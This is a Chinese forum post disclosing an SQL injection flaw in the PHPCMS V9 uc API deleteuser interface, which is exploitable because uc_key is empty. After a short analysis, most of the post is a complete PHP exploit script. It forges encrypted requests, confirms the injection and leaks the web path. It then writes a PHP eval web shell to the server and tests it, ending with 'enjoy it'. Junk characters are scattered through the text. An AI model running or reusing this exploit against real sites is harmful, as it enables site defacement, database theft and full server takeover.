找回密码
 立即注册
查看: 2597|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。- r% D. ]% d9 u* M
; P  S: G+ t1 \7 H) U% M! i4 k. u
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。8 `9 N! B9 z" b7 M5 R

' d. I' c; b% a4 x: a8 S/ k9 H漏洞分析:
( ^* h! k; D5 P1.未启用ucenter服务的情况下uc_key为空
" g* L' l5 ?2 d  O: O- w4 G; s+ Fdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));& h% [( c9 Z0 d: c
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
' m1 E5 }1 ^5 I* x    public function deleteuser($get,$post) {' b* }( u7 M+ e* S* V  Q8 V1 ?* u/ L. R
        pc_base::load_app_func('global', 'admin');$ U1 Q( o! K; k5 f$ t1 C' }
        pc_base::load_app_class('messagequeue', 'admin' , 0);# Q  c1 \* M( p2 L: x7 {
        $ids = new_stripslashes($get['ids']);. f3 w( \+ ?# G9 R2 y' M  [
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
* Q% `* w7 w1 y8 w6 VSQL语句为. I; v8 n' b9 _
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)5 u5 }, S3 ]' f$ F/ O& W

) j) p5 _: j6 G利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell% O% O2 h' r8 J
<?php
! w& j- A4 _1 M% `print_r(', t5 j/ W1 b3 }9 ~
---------------------------------------------------------------------------; x, L5 |1 ]- c* v3 V" f2 E
PHPcms (v9 or Old Version) uc api sql injection 0day
: W/ j5 u1 G, O3 D( j; Q$ a, }by rayh4c#80sec.com; E4 u8 e4 M. o' j/ T
---------------------------------------------------------------------------
6 d0 U8 b6 M6 Y$ E4 Y2 `');
, }! ^+ R( ]  S
' Y0 l9 O# r6 v& oif ($argc<3) {; {% B5 L4 \( ^% J2 \) A8 L# R* b
    print_r('9 A9 e! i+ v0 E& ^) t* X, t# e: f* T
---------------------------------------------------------------------------1 V( _, n# n$ Q* u+ i' q
Usage: php '.$argv[0].' host path OPTIONS, K/ q2 g& n1 o' R
host:      target server (ip/hostname)1 p! Q$ S+ T+ ^! B; M
path:      path to phpcms
  H" `2 J; u+ |% `Options:4 o0 g+ t; V2 W. h: N
-p[port]:    specify a port other than 80
: W' o+ M: o5 n -P[ip:port]: specify a proxy
; s0 w. u4 j4 Q2 YExample:
) N8 D, U- j4 u4 |" lphp '.$argv[0].' localhost /" g9 L% m7 `8 E
php '.$argv[0].' localhost /phpcms/ -p81( v! N( V& U, ?# x+ [' T
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:809 W7 ?/ K, X$ ]$ ]
---------------------------------------------------------------------------
2 {* b( q  T- M+ A');
1 ?) O3 {( `% D9 Q) T& N    die;5 e) `3 _$ @1 Q+ L; ?
}
6 B2 U6 l# u4 Q: z9 J
& n) G7 }0 f/ o1 l0 z4 Werror_reporting(7);9 f+ w7 V6 n- a" n6 f* h4 k  h, J
ini_set("max_execution_time",0);
+ |4 v4 A9 ]9 m  i; U2 pini_set("default_socket_timeout",5);
/ M3 v7 L; R1 o' v/ Z9 x
& q" X4 n2 N( M! Q4 w2 wfunction quick_dump($string)
" I; d) J9 q. R% W3 Q4 y/ w! h9 q{' `4 B2 X+ {+ j7 X1 q- C0 n) T
  $result='';$exa='';$cont=0;) P2 [" U+ {: _5 ]$ \5 Z! G# }9 H* O: h
  for ($i=0; $i<=strlen($string)-1; $i++)6 `3 T" c0 ^' k, A$ R( l5 Q9 q" S" m
  {  ~, u! p# |6 C( {: ]& ?- ~! ?
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
! L/ v$ O0 a' G& o   {$result.="  .";}% ~8 S9 q7 ~* l2 O! p* L, u; @) E
   else" x' D6 }) @! |" E& E4 v
   {$result.="  ".$string[$i];}
/ s- k4 ^6 a5 F$ R: ]   if (strlen(dechex(ord($string[$i])))==2)
$ W: r/ Q9 _9 i$ D1 N6 i' g. k   {$exa.=" ".dechex(ord($string[$i]));}
  m* d$ p) R; w& _2 ?0 C$ i   else+ M, j1 P3 h4 U- c* A3 M
   {$exa.=" 0".dechex(ord($string[$i]));}/ h! t' p! v" y8 n4 u+ C
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
7 N/ W; H- v; M( m5 p  }' t$ s6 m4 r6 M6 N' o
return $exa."\r\n".$result;7 a- E7 e% \5 F: |
}) u6 J! M5 m" S
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
- K3 p1 K: {. H( E9 W1 c( O, X$ v% n6 b
function send($packet)+ f( z; g4 K: F- N9 f+ g2 M- d7 \
{
3 r$ N# z. F# ~; U2 X  l  global $proxy, $host, $port, $html, $proxy_regex;& Q' S! G4 m& M0 [
  if ($proxy=='') {( W( T4 e$ x$ |; g4 u" e; e
    $ock=fsockopen(gethostbyname($host),$port);
5 Y( S8 u7 i! k. K! x    if (!$ock) {, F. d7 [; V3 t+ ?" e7 q. f3 w
      echo 'No response from '.$host.':'.$port; die;
  Q: G2 T) d8 d! t  B    }
; {  W# j7 a' W# ~$ i* V  F$ r  }
$ k9 c& S# X* c3 E- r" r% B/ ]  else {
' i  D. A. P/ `+ w/ j. {; [        $c = preg_match($proxy_regex,$proxy);
3 R. `  R$ F5 t    if (!$c) {1 M( m" D3 t, L, u3 E/ \" p) j
      echo 'Not a valid proxy...';die;3 b% G# a2 Z$ z' ^% @
    }5 S% z0 i1 `9 B: D( L
    $parts=explode(':',$proxy);8 t- R; _5 i2 y  V! D( M- V2 }" n4 `
    $parts[1]=(int)$parts[1];2 b4 |5 L2 [2 V
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  f4 X& ^! o1 t/ ?* b! P/ \: T
    $ock=fsockopen($parts[0],$parts[1]);
5 z8 n' V  Z" N    if (!$ock) {
# h* I+ H5 p) Y+ m+ y' q      echo 'No response from proxy...';die;! F' T+ Z- C; {3 H
        }
- M4 t! O8 L7 F* g6 R! u  }* P$ U% }/ e! I. m: d" I
  fputs($ock,$packet);" d' V5 {3 I1 ~# H
  if ($proxy=='') {4 O2 H3 }0 o/ `" U2 l2 ]$ b
    $html='';; t9 Y$ \8 u  C+ T8 `, o& D# n
    while (!feof($ock)) {
6 {8 B0 Q" v- U: u      $html.=fgets($ock);
: J( l  z3 z% R& x7 w3 n    }
: y' B  f. O+ i; @. ~  }
) ]! k* E* }9 Q/ X  else {
2 S6 z8 \& ~9 }0 a+ `+ a; A    $html='';
$ |  Y& C6 O6 ?# P; |5 E( @    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {9 X* c- A' P, y
      $html.=fread($ock,1);' U( y) c+ Z+ j' `) F- {5 h( x
    }0 ?8 }- Y( w$ Z
  }
$ w" X' m& c! s( P9 M  fclose($ock);
  o8 v4 ~% c5 I0 z* }# W( f1 H}. x5 s: ~# a7 [0 [1 z
3 f* u9 g9 `0 p
$host=$argv[1];2 n/ K+ e$ o+ [$ t8 U
$path=$argv[2];  d. y: R* V  A: `
$port=80;
; O/ G, e) y- l8 `- P$proxy="";) T: ]& l( I+ |
for ($i=3; $i<$argc; $i++){: B& f6 p0 I7 ?  E  T; {
$temp=$argv[$i][0].$argv[$i][1];
, p! i( G/ R7 p0 L, K* sif ($temp=="-p")
8 o/ @4 [) y) R. {0 ~9 O{- z2 X8 |! k4 l# I3 T
  $port=(int)str_replace("-p","",$argv[$i]);9 ~0 E% _, {; W& v( n# i
}4 Y' Q" W/ _, s$ l; n8 s
if ($temp=="-P")3 |  F1 P8 \2 L& X
{# c: ^( _7 e/ H2 f: I
  $proxy=str_replace("-P","",$argv[$i]);7 }+ |. \' a) @# ^# q4 P4 B; Q+ a
}
, ?, h/ k$ A% k. i* ^$ D* ~  x5 Z}% {5 r2 ?8 ]/ B* V
5 x& o1 c6 c6 M# A$ o0 d
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
3 F" a$ q3 C7 M7 \" ]$ v- J/ Cif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}; [0 b! ]* Y3 R4 D/ j

4 K. X! P3 e" ^4 zfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {: j6 ?3 y' s& j) T

) b! o: o  C$ @( B; W0 ]    $ckey_length = 4;
3 s) }7 m. V0 v5 z* e& U1 ~" f5 L1 }$ p4 g8 O# n, O; b
    $key = md5($key ? $key : '');2 g. k& G1 L& l) t+ N  V
    $keya = md5(substr($key, 0, 16));3 I* N3 E* q: w6 \3 d$ y! A
    $keyb = md5(substr($key, 16, 16));
: u6 ?: @  B7 m& Q& a: L8 T    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
. \5 O- P. F4 I
2 C5 ]$ n; G/ X& j, P    $cryptkey = $keya.md5($keya.$keyc);  I0 ^8 i1 Y; H! U0 u2 i% D2 f
    $key_length = strlen($cryptkey);( j* ]( s$ K1 h+ V( x9 j2 t. L$ N
$ F* d5 R( I% p" b) Z
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
' p( ?% z% E! l5 I    $string_length = strlen($string);: X9 g/ }6 J- F& f$ C( f% P3 u, F/ Y
6 W; d  O9 U3 G
    $result = '';" P) d. H& R* W, Z7 _* X/ Y+ S0 @1 @
    $box = range(0, 255);2 _# w/ c9 |6 `7 a+ o8 n5 _" d: T

' t  U# U7 t: n: x    $rndkey = array();
6 l: P9 ~& g# e    for($i = 0; $i <= 255; $i++) {
  P/ x2 q  ]1 E7 a% {* I. [6 {        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
( C8 _! r# F+ s! R0 \    }* }& E  }4 J5 T' @. ?( Q

) i$ Q" Y0 k) |' k1 X    for($j = $i = 0; $i < 256; $i++) {
& v4 G* K+ J. {4 I( P  L1 P        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
+ Q  i  O8 X' y  Q. u; @# {" f) K        $tmp = $box[$i];) u0 |- [5 }% s, A# |
        $box[$i] = $box[$j];$ n2 ]1 _( A, |# j- `4 K/ Q
        $box[$j] = $tmp;
& u6 B' O. S6 p5 V    }  H) T/ F' d6 p) x  h7 k. L/ i
( I0 N/ N3 F9 G: s. o  E  d
    for($a = $j = $i = 0; $i < $string_length; $i++) {" [/ D4 V1 I" n; \3 \
        $a = ($a + 1) % 256;
* @8 n: d' W5 v  ?* f% {% d2 N  a        $j = ($j + $box[$a]) % 256;( c1 o' r) G1 ?# x+ P7 ]$ C
        $tmp = $box[$a];4 n2 K( b! j" w/ q) U. a
        $box[$a] = $box[$j];9 X/ B& e) Z/ j- m! x0 {
        $box[$j] = $tmp;& @; Y* [( [3 g5 T3 a. e
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
( u' T6 E$ q% n' Y5 S7 Z6 X    }; q8 p, f$ }& _0 j1 {

# W) R; G' r5 f    if($operation == 'DECODE') {6 a2 W9 y& v6 j/ L' ~
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
$ K2 B$ \1 |4 m0 M6 b+ t6 m2 A            return substr($result, 26);) b4 G$ x3 H7 D. s8 U5 A
        } else {
( Y5 z/ Q) Y! c7 [: D            return '';
" i! |7 v: l. P9 A9 v        }& J- {" Z2 B/ L5 M9 W3 A! p
    } else {% Y3 \: X' b5 P0 l5 ?
        return $keyc.str_replace('=', '', base64_encode($result));7 U: e. k6 T- t- Q. E* g
    }
3 i4 I3 B' [. Z0 p* d9 l+ J: A# J
) e' Q9 ?% ?' a8 |/ ?  n}
3 I7 G5 X: p3 Z  u$ `4 C' S5 O# R3 W
9 S1 N2 R+ Y" S  H/ K: H5 D% U/ L6 T; |$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
$ S3 q" F$ z% h: }6 K* m0 h, T$SQL = urlencode(authcode($SQL, "ENCODE", ""));- V7 ]2 v1 Q, w. T/ B# |5 z
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
# j5 a: q6 j0 Y* I; a+ O$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
* S0 M0 m/ |5 l6 o$packet.="User-Agent: Mozilla/5.0\r\n";
, [& s# d3 V" H: ]$ X7 w$packet.="Host: ".$host."\r\n";9 E+ R" ]- f3 y9 ?' K. d5 a0 T
$packet.="Connection: Close\r\n\r\n";/ L, Z5 R8 L( x% k% A$ H
send($packet);3 L( ^: r0 z- a; [% |  Q
if(strpos($html,"MySQL Errno") > 0){
" k# d5 \( Q- ^echo "[2] 发现存在SQL注入漏洞"."\n";/ l/ z2 y! _: H. _! N
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
! E1 ^: ^0 d1 R' a% H' ~$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
5 J. K: l( F6 g9 }9 F2 z/ [  N! p$packet.="User-Agent: Mozilla/5.0\r\n";
% K9 u" Y$ b) z* ~1 S$packet.="Host: ".$host."\r\n";
  `/ M: H% g& T. g, V! l1 Q' h! r$packet.="Connection: Close\r\n\r\n";. d) }% u/ Y7 E
send($packet);! p# q( n" l. z. @- Q( N
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);# p, o% Z( @8 u7 z7 v
//print_r($matches);
1 p9 @! Z+ T; dif(!empty($matches)){! d* b+ {1 A5 e8 ^) s" |
echo "[4] 得到web路径 " . $matches[0]."\n";
& Y( N2 q1 w. _0 Techo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";0 E* U8 _. B# ^3 U7 R
$SQL = "time=999999999999999999999999&ids=1)";6 H: f5 @$ k9 F5 y
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
8 d: w9 o. s& \5 A7 m$SQL.="&action=deleteuser";: e. l1 ]& ]* A
$SQL = urlencode(authcode($SQL, "ENCODE", ""));$ L$ T; L) \( p3 U) `
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";* I7 S# \1 |5 j  L2 `# o; k
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";0 I1 W! V& D1 S/ f/ {
$packet.="User-Agent: Mozilla/5.0\r\n";
( a* d. v$ }- ^9 r' U$packet.="Host: ".$host."\r\n";' m. X% l; e! Q: @! Q" H, ?7 F; I
$packet.="Connection: Close\r\n\r\n";4 P0 i6 D6 [9 i; ^" N
send($packet);& X0 ~6 s$ i* B- S6 j
if(strpos($html,"Access denied") > 0){
9 P7 x9 t6 f' D8 Pecho "[-] MYSQL权限过低 禁止写入文件 ";
" K6 N5 x- m& J1 t/ B- j9 zdie;9 W+ B. e; ?1 F
}
  ~/ g+ S' q) ?/ |+ secho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";: m" s8 y: |) S+ H4 ]
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
* x$ _& U# [# \0 n$packet.="User-Agent: Mozilla/5.0\r\n";$ ]% }. d9 p( p3 m$ y( m. X  z
$packet.="Host: ".$host."\r\n";0 J1 G# v- O( @9 H% E
$packet.="Connection: Close\r\n\r\n";3 x0 o' u" p1 o. D- x; u
send($packet);
# x. b: M5 k- W$ yif(strpos($html,"<title>phpinfo()</title>") > 0){' [$ G9 t0 G5 v9 |4 C1 Q9 ?
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
: T! `2 q+ f2 \  _- ?+ ?5 g}  G- R1 X+ P4 O2 m! M
}else{$ L& Z* E1 }$ U9 X& ]$ F
echo "[-]未取到web路径 ";
, _- ~( a8 h5 ~3 y( P6 a* Q( P2 _: i' @}5 O7 H( y# v: a& Z: q
}else{. j3 d2 O' n$ S" r' k- f! x4 t
echo "[*]不存在SQL注入漏洞"."\n";, K. B7 s# q+ d$ S: A4 v9 k' {
}
- l3 v: F. h5 m% x& r: ~; X
: ~  W$ Y* L$ |  Y+ }?># g! P0 w" v7 e. {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表